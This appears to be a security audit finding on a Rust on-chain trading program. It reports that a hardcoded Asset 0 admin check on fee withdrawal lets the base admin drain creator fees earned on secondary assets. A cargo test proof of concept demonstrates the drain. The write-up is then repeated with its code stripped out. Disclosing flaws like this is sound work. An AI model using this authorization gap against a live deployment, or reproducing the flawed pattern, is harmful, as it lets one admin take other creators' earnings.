Base asset admin usurps all trading creator fees on secondary assets in multi-asset markets
Impact
Theft of unclaimed yield or earned fees.
In multi-asset markets, all trade creator fees accumulate into a single global counter, but fee withdrawals check only the Asset 0 admin. Secondary asset creators cannot claim their earned revenue, while the base market deployer can drain all accumulated fees from every asset.
Description
The wrapper tracks trade creator fees in a single global accumulator inside WrapperConfigV16:
cfg.creator_fee_claimable_atoms = cfg.creator_fee_claimable_atoms.checked_add(u64::try_from(creator_cut_total)?)?;
Trading fees generated on any asset slot (e.g. Asset 1) flow into this shared counter. When withdrawing fees via WithdrawCreatorFee, handle_withdraw_creator_fee hardcodes an authorization check against Asset 0 only:
let profile = read_oracle_profile_for_asset(&market_data, &cfg, 0)?;
if profile.asset_admin != [0u8; 32] && admin.key.to_bytes() != profile.asset_admin {
return Err(PercolatorError::Unauthorized.into());
}
The signer is checked exclusively against profile(0).asset_admin. Secondary creators attempting to withdraw their fees are rejected with Unauthorized. The Asset 0 deployer can invoke WithdrawCreatorFee to sweep the entire global accumulator, stealing 100% of trading fees generated by secondary markets.
Not the same as per-asset authority updates
UpdateAssetLifecycle correctly provisions per-asset administrators.
- The flaw is the single global fee pool paired with a hardcoded Asset 0 gate on withdrawal.
On permissionless multi-asset deployment
- Multi-asset markets explicitly permit independent asset listings via
UpdateAssetLifecycle(ASSET_ACTION_ACTIVATE).
- The fee architecture fails to isolate creator earnings per asset.
Proof of Concept
Target file:
src/v16_program.rs: handle_withdraw_creator_fee
Run command:
cargo test --test audit_poc_suite test_poc_vuln_03_multi_asset_creator_fee_usurpation -- --nocapture
#[test]
fn test_poc_vuln_03_multi_asset_creator_fee_usurpation() {
install_clock_stub();
let mut admin_0 = TestAccount::new(Pubkey::new_unique(), Pubkey::new_unique(), 0).signer().writable();
let mut creator_2 = TestAccount::new(Pubkey::new_unique(), Pubkey::new_unique(), 0).signer().writable();
let mut market = TestAccount::new(
Pubkey::new_unique(),
program_id(),
state::market_account_len_for_capacity(2).unwrap(),
).writable();
let mut mint = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_mint_data(1_000_000));
let mint_key = mint.key;
// Initialize market with 2 asset slots
run_ix(
Instruction::InitMarket {
max_portfolio_assets: 2,
h_min: 0,
h_max: 10,
initial_price: 100,
min_nonzero_mm_req: 1,
min_nonzero_im_req: 2,
maintenance_margin_bps: 10_000,
initial_margin_bps: 10_000,
max_trading_fee_bps: 10_000,
trade_fee_base_bps: 0,
liquidation_fee_bps: 0,
liquidation_fee_cap: 0,
min_liquidation_abs: 0,
max_price_move_bps_per_slot: 10_000,
max_accrual_dt_slots: 1,
max_abs_funding_e9_per_slot: 0,
min_funding_lifetime_slots: 1,
max_account_b_settlement_chunks: 1,
max_bankrupt_close_chunks: 1,
max_bankrupt_close_lifetime_slots: 100,
public_b_chunk_atoms: percolator::MAX_VAULT_TVL,
maintenance_fee_per_slot: 0,
},
&mut [&mut admin_0.clone(), &mut market, &mut mint],
).unwrap();
let (v_auth, _) = vault_authority(&market);
let vault_ata = canonical_vault_ata(&v_auth, &mint_key);
// Setup: Asset 0 has admin_0, Asset 1 has creator_2.
// Trading on Asset 1 accumulated 50,000 atoms into cfg.creator_fee_claimable_atoms.
{
let mut market_data = market.data.clone();
let (mut cfg, group) = state::market_view_mut(&mut market_data).unwrap();
cfg.creator_fee_claimable_atoms = 50_000;
cfg.collateral_mint = mint_key.to_bytes();
group.header.insurance = percolator::V16PodU128::new(100_000);
group.header.vault = percolator::V16PodU128::new(100_000);
state::write_wrapper_config(&mut market_data, &cfg).unwrap();
market.data = market_data;
let mut prof0 = state::read_asset_oracle_profile(&market.data, 0).unwrap();
prof0.asset_admin = admin_0.key.to_bytes();
state::write_asset_oracle_profile(&mut market.data, 0, &prof0).unwrap();
let mut prof1 = state::read_asset_oracle_profile(&market.data, 1).unwrap();
prof1.asset_admin = creator_2.key.to_bytes();
state::write_asset_oracle_profile(&mut market.data, 1, &prof1).unwrap();
}
let mut vault_token_acc = TestAccount::new_with_data(vault_ata, spl_token::ID, make_token_data(mint_key, v_auth, 100_000)).writable();
let mut vault_auth_acc = TestAccount::new(v_auth, Pubkey::new_unique(), 0);
let mut creator2_dest = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_token_data(mint_key, creator_2.key, 0)).writable();
let mut admin0_dest = TestAccount::new_with_data(Pubkey::new_unique(), spl_token::ID, make_token_data(mint_key, admin_0.key, 0)).writable();
let mut token_prog = TestAccount::new(spl_token::ID, Pubkey::new_unique(), 0).executable();
// ── STEP 1: Creator 2 attempts to withdraw their earned fees ───────────────
let res_creator2 = run_ix(
Instruction::WithdrawCreatorFee { amount: 50_000 },
&mut [
&mut creator_2,
&mut market,
&mut creator2_dest,
&mut vault_token_acc,
&mut vault_auth_acc,
&mut token_prog,
],
);
assert_eq!(
res_creator2,
Err(ProgramError::Custom(PercolatorError::Unauthorized as u32)),
"Creator 2 must be rejected with Unauthorized (Custom(8)) because handle_withdraw_creator_fee hardcodes Asset 0"
);
// ── STEP 2: Asset 0 Admin executes the withdrawal ──────────────────────────
let res_admin0 = run_ix(
Instruction::WithdrawCreatorFee { amount: 50_000 },
&mut [
&mut admin_0,
&mut market,
&mut admin0_dest,
&mut vault_token_acc,
&mut vault_auth_acc,
&mut token_prog,
],
);
assert!(res_admin0.is_ok(), "Asset 0 Admin successfully captures all creator fees from secondary assets");
let cfg_final = state::read_market(&market.data).unwrap().0;
assert_eq!(cfg_final.creator_fee_claimable_atoms, 0, "Creator fee counter drained to 0 by Asset 0 Admin");
}
Base asset admin usurps all trading creator fees on secondary assets in multi-asset markets
Impact
Theft of unclaimed yield or earned fees.
In multi-asset markets, all trade creator fees accumulate into a single global counter, but fee withdrawals check only the Asset 0 admin. Secondary asset creators cannot claim their earned revenue, while the base market deployer can drain all accumulated fees from every asset.
Description
The wrapper tracks trade creator fees in a single global accumulator inside
WrapperConfigV16:Trading fees generated on any asset slot (e.g. Asset 1) flow into this shared counter. When withdrawing fees via
WithdrawCreatorFee,handle_withdraw_creator_feehardcodes an authorization check against Asset 0 only:The signer is checked exclusively against
profile(0).asset_admin. Secondary creators attempting to withdraw their fees are rejected withUnauthorized. The Asset 0 deployer can invokeWithdrawCreatorFeeto sweep the entire global accumulator, stealing 100% of trading fees generated by secondary markets.Not the same as per-asset authority updates
UpdateAssetLifecyclecorrectly provisions per-asset administrators.On permissionless multi-asset deployment
UpdateAssetLifecycle(ASSET_ACTION_ACTIVATE).Proof of Concept
Target file:
src/v16_program.rs:handle_withdraw_creator_feeRun command:
cargo test --test audit_poc_suite test_poc_vuln_03_multi_asset_creator_fee_usurpation -- --nocapture